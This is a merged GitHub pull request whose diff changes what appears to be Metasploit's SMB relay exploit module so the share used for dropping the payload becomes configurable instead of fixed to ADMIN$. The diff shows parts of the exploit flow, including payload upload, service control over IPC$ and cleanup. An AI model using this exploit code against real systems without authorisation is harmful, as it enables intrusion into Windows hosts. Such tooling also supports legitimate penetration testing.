Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Patch for smb_relay.rb to allow the share written to, to be defined in an option #1409

Merged
merged 1 commit into from Feb 8, 2013
Merged

Patch for smb_relay.rb to allow the share written to, to be defined in an option #1409

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
13 changes: 7 additions & 6 deletions modules/exploits/windows/smb/smb_relay.rb
View file
Open in desktop
Expand Up @@ -94,7 +94,8 @@ module is not able to clean up after itself. The service and payload

register_options(
[
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
], self.class )
end

Expand Down Expand Up @@ -124,8 +125,8 @@ def smb_haxor(c)
return
end

print_status("Connecting to the ADMIN$ share...")
rclient.connect("ADMIN$")
print_status("Connecting to the defined share...")
rclient.connect(datastore['SHARE'])

@pwned[smb[:rhost]] = true

Expand Down Expand Up @@ -155,8 +156,8 @@ def smb_haxor(c)

print_status("Created \\#{filename}...")

# Disconnect from the ADMIN$
rclient.disconnect("ADMIN$")
# Disconnect from the SHARE
rclient.disconnect(datastore['SHARE'])

print_status("Connecting to the Service Control Manager...")
rclient.connect("IPC$")
Expand Down Expand Up @@ -295,7 +296,7 @@ def smb_haxor(c)
rclient.disconnect("IPC$")

print_status("Deleting \\#{filename}...")
rclient.connect("ADMIN$")
rclient.connect(datastore['SHARE'])
rclient.delete("\\#{filename}")
end

Expand Down